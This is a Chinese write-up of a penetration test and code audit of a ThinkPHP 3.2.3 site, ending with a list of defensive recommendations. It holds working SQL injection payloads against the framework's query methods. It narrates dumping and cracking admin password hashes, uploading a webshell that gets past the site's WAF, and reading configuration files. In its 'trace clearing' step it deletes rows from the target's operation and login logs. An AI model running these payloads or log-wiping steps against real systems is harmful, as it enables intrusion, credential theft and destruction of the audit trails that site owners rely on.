记一次渗透+审计实战
字数 1242 2025-08-20 18:17:59

ThinkPHP 3.2.3 渗透审计实战教学文档

前言

本文档基于ThinkPHP 3.2.3框架的渗透测试实战案例,详细分析该版本存在的多种安全漏洞及利用方式,包括SQL注入、RCE、XSS等漏洞的挖掘和利用过程。

ThinkPHP 3.2.3 历史漏洞分析

1. WHERE注入漏洞

漏洞描述:当使用字符串方式作为where传参时存在SQL注入漏洞。

利用方式

and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)--+

2. EXP注入漏洞

漏洞描述:使用全局数组进行传参时存在注入(注意不能使用I方法过滤)。

示例代码

public function getuser(){
    $User = D('User');
    $map = array('id' => $_GET['id']);
    $user = $User->where($map)->find();
    dump($user);
}

利用方式

id[0]=exp&id[1]==1 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))--+

3. BIND注入漏洞

示例代码

public function getuser(){
    $data['id'] = I('id');
    $uname['username'] = I('username');
    $user = M('User')->where($data)->save($uname);
    dump($user);
}

利用方式

id[0]=bind&id[1]=0 and 1=(updatexml(1,concat(0x7e,(user()),0x7e),1))&username=fanxing

4. FIND/SELECT/DELETE注入漏洞

示例代码

public function getuser(){
    $user = M('User')->find(I('id'));
    dump($user);
}

利用方式

?id[where]=1 and 1=updatexml(1,concat(0x7e,(user()),0x7e),1)

5. ORDER BY注入漏洞

示例代码

public function user(){
    $data['username'] = array('eq','admin');
    $user = M('User')->where($data)->order(I('order'))->find();
    dump($user);
}

利用方式

order=id and(updatexml(1,concat(0x7e,(select user())),0))

6. 缓存漏洞

示例代码

public function test(){
    S('name',I('test'));
}

实战挖掘过程

1. SQL注入漏洞挖掘

发现点:后台功能中存在直接使用用户输入构造SQL查询的情况。

利用条件

  • 需要开启debug模式
  • 需要已登录后台

2. 后台RCE漏洞挖掘

发现点

  1. 模板管理功能存在代码执行漏洞
  2. 附件管理功能存在上传漏洞

利用方式

  • 通过模板编辑功能插入恶意代码
  • 通过附件上传功能上传webshell

3. 存储型XSS漏洞挖掘

发现点

  1. 后台登录日志功能
  2. 后台操作日志的referer字段

限制

  • 目标站点开启了HTTP-Only,无法直接窃取cookie

4. SSRF漏洞挖掘

说明:在实际站点中利用价值有限,未深入展开。

实战渗透过程

1. 前台搜索框SQL注入

特点:目标站点自行实现了搜索功能,未使用框架原生方法,存在注入漏洞。

2. 获取后台管理员账户

步骤

  1. 通过注入获取数据库中的管理员账户信息
  2. 分析密码加密方式:md5($pass.md5($verify))
  3. 获取到的数据示例:
    # admin,admin1
    # 19369424b3f933c41324978106c411cc,9509b82e3ddf251f2ea825b49ab6d291
    # lnwkNC,XW7YXl
    

破解密码

  1. 使用cmd5查询已知哈希
  2. 成功获取admin1账户密码:admin123!
  3. 通过自定义字典爆破出其他管理员密码

3. 后台RCE利用

绕过WAF

  1. 哥斯拉webshell被拦截
  2. 冰蝎webshell成功绕过WAF

目录穿越漏洞

  • 通过修改模板功能实现目录穿越
  • 可修改根目录文件如/install.php

4. 权限提升与信息收集

PHP函数执行

error_reporting(E_ALL);var_dump(1);
var_dump(scandir('.'));
readfile('web.config');

数据库信息获取

'DB_TYPE' => 'mysql', 
'DB_HOST' => '180.xxx', 
'DB_NAME' => 'xxx', 
'DB_USER' => 'xxx', 
'DB_PWD' => 'xxx', 
'DB_PORT' => '3306', 
'DB_PREFIX' => 'wexxx',

系统信息

  • 站库分离架构
  • Linux系统
  • 当前账户权限较低

5. 痕迹清除

操作

select * from XXX.operationlog limit 10
DELETE FROM XXX.rationlog WHERE id > 7000
DELETE FROM XXX._loginlog WHERE id > 3000
unlink('test.php');

防御建议

  1. 升级ThinkPHP至最新安全版本
  2. 对所有用户输入进行严格过滤
  3. 使用框架提供的I方法进行输入过滤
  4. 关闭debug模式
  5. 限制后台访问IP
  6. 加强密码策略,使用强密码
  7. 定期审计代码,特别是自定义功能模块
  8. 设置文件上传严格限制
  9. 实施最小权限原则

总结

本案例展示了从代码审计到实际渗透的完整过程,重点分析了ThinkPHP 3.2.3版本的多种安全漏洞及其利用方式。渗透测试人员应掌握这些漏洞原理,而开发人员则应引以为戒,加强应用安全防护。

ThinkPHP 3.2.3 渗透审计实战教学文档 前言 本文档基于ThinkPHP 3.2.3框架的渗透测试实战案例,详细分析该版本存在的多种安全漏洞及利用方式,包括SQL注入、RCE、XSS等漏洞的挖掘和利用过程。 ThinkPHP 3.2.3 历史漏洞分析 1. WHERE注入漏洞 漏洞描述 :当使用字符串方式作为where传参时存在SQL注入漏洞。 利用方式 : 2. EXP注入漏洞 漏洞描述 :使用全局数组进行传参时存在注入(注意不能使用I方法过滤)。 示例代码 : 利用方式 : 3. BIND注入漏洞 示例代码 : 利用方式 : 4. FIND/SELECT/DELETE注入漏洞 示例代码 : 利用方式 : 5. ORDER BY注入漏洞 示例代码 : 利用方式 : 6. 缓存漏洞 示例代码 : 实战挖掘过程 1. SQL注入漏洞挖掘 发现点 :后台功能中存在直接使用用户输入构造SQL查询的情况。 利用条件 : 需要开启debug模式 需要已登录后台 2. 后台RCE漏洞挖掘 发现点 : 模板管理功能存在代码执行漏洞 附件管理功能存在上传漏洞 利用方式 : 通过模板编辑功能插入恶意代码 通过附件上传功能上传webshell 3. 存储型XSS漏洞挖掘 发现点 : 后台登录日志功能 后台操作日志的referer字段 限制 : 目标站点开启了HTTP-Only,无法直接窃取cookie 4. SSRF漏洞挖掘 说明 :在实际站点中利用价值有限,未深入展开。 实战渗透过程 1. 前台搜索框SQL注入 特点 :目标站点自行实现了搜索功能,未使用框架原生方法,存在注入漏洞。 2. 获取后台管理员账户 步骤 : 通过注入获取数据库中的管理员账户信息 分析密码加密方式: md5($pass.md5($verify)) 获取到的数据示例: 破解密码 : 使用cmd5查询已知哈希 成功获取admin1账户密码:admin123 ! 通过自定义字典爆破出其他管理员密码 3. 后台RCE利用 绕过WAF : 哥斯拉webshell被拦截 冰蝎webshell成功绕过WAF 目录穿越漏洞 : 通过修改模板功能实现目录穿越 可修改根目录文件如/install.php 4. 权限提升与信息收集 PHP函数执行 : 数据库信息获取 : 系统信息 : 站库分离架构 Linux系统 当前账户权限较低 5. 痕迹清除 操作 : 防御建议 升级ThinkPHP至最新安全版本 对所有用户输入进行严格过滤 使用框架提供的I方法进行输入过滤 关闭debug模式 限制后台访问IP 加强密码策略,使用强密码 定期审计代码,特别是自定义功能模块 设置文件上传严格限制 实施最小权限原则 总结 本案例展示了从代码审计到实际渗透的完整过程,重点分析了ThinkPHP 3.2.3版本的多种安全漏洞及其利用方式。渗透测试人员应掌握这些漏洞原理,而开发人员则应引以为戒,加强应用安全防护。